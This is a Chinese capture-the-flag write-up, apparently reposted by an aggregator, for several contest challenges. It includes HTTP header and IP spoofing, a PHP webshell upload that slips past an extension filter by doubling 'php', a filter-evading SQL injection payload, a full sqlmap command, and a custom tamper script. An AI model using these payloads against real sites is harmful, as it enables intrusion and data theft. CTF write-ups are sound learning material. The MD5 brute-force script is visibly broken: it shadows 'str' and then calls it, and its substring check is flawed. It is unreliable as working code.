结业赛部分题解
Posted 伟已茹心
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了结业赛部分题解相关的知识,希望对你有一定的参考价值。
签到题
是一个很简单的web签到题,查看网页源代码,发现里面注释了一段base64对其解码就是flag:
HTTP
打开题目有个提示一起闯关吧,进入题目发现说不是secdriver浏览器,使用浏览器伪造轻松绕过:User-Agent:secdriver,然后又说不是admin用户,发现请求头里有个admin=0,这应该就是判断是否为ADMIN用户的依据,将其置为1绕过,然后是说不是本地,通过伪造IP为127.0.0.1进行绕过,最后是必须是德国语言才能查看flag百度了一下为DE,后来发现主办方给出了提示:
black_list
一道简单的文件上传的题目,首先上传了一句话木马,发现可以直接上传成功,但是通过通过查看源码的时候发现文件的后缀php没了,猜想应该是对php进行了过滤,利用双写进行绕过即可:1.pphphp,在通过中国菜刀等工具连接即可。
# no_space
一道sql注入的题目,根据题目的提示想到了空格过滤使用/**/就可以绕过,然后发现对select也进行了过滤,可以使用双写进行绕过:selselectect:
1、手工注入最后的payload:
-1'/**/union/**/selselectect/**/1,group_concat(id,0x23,id,email_id),3/**/from/**/emails%23
2、使用sqlmap:
sqlmap.py -u url/?id=0 -p id -v 3 --level=3 --tamper=doubleselect.py --tamper=space2comment.py --technique=U –current-db --batch --flush-session
temper绕过脚本:
#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('select' , 'selselectect')
retVal=payload
return retVal
py
简单的加密算法,看懂其中的逻辑后就可以编写解题的脚本了,先解码,在进行字符串AScii-3:
import base64
c = 'aW9kan48NGlnPGY6aDA2ZGhoMDQ0aGYwOzZoMzA3N2RpNTtkOjg1NjrCgA=='
def x(string):
return str(base64.b64decode(string.encode()).decode('utf-8'))
pass
def y(string):
r = ''
for c in string:
r += chr(ord(c)-3)
return r
pass
cipher = y(x(c))
print(cipher)
MD5
题目是MD5通,使用脚本暴力破解缺失字符,并确定进行MD5判断:
import hashlib
#flag{P7?Y0OG?0XPC?ZPK}
s1 = "flag{P7"
s2 = "Y0OG"
s3 = "0XPC"
s4 = "ZPK}"
str = ['0','1','2','3','4','5','6','7','8','9','0','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in str:
for j in str:
for k in str:
flag = s1 + i + s2 + j + s3 + k + s4
pre = hashlib.md5()
pre.update(flag)
md5 = str(pre.hexdigest())
#9e86????007f??9a38???449a?0ea7cf
if ('9e86' and '9a38' and '0ea7cf') in md5 :
print md5
print flag
Sprintf
查看程序是否加壳,然后通过IDA64位打开,找到main函数,读取伪代码:
通过对伪代码的解读发现其flag就是flag(%s%s%s%s%s%s%s),编写解题脚本:
#include <stdio.h>
int main()
{
long long int v16 = 95LL;
long long int v17 = 0;
long long int v14 = 1735290739LL;
long long int v15 = 0;
long long int v12 = 7234918LL;
long long int v13 = 0;
long long int v10 = 26990LL;
long long int v11 = 0;
long long int v8 = 444233509240LL;
long long int v9 = 0;
printf("flag{%s%s%s%s%s%s%s}", &v14, &v16, &v12, &v16, &v10, &v16, &v8);
}
# 百度网盘
pyc文件,进行反编译py文件里有BV的提示,猜测是哔哩哔哩的视频号
访问后看到链接
MD5取哈希后就是flag
以上是关于结业赛部分题解的主要内容,如果未能解决你的问题,请参考以下文章
2022团体程序设计天梯赛GPLT2022,L1~L2部分(PTA,L1-081~L1-088,L2-041~L2-044)题解代码&复盘
2022团体程序设计天梯赛GPLT2022,L1~L2部分(PTA,L1-081~L1-088,L2-041~L2-044)题解代码&复盘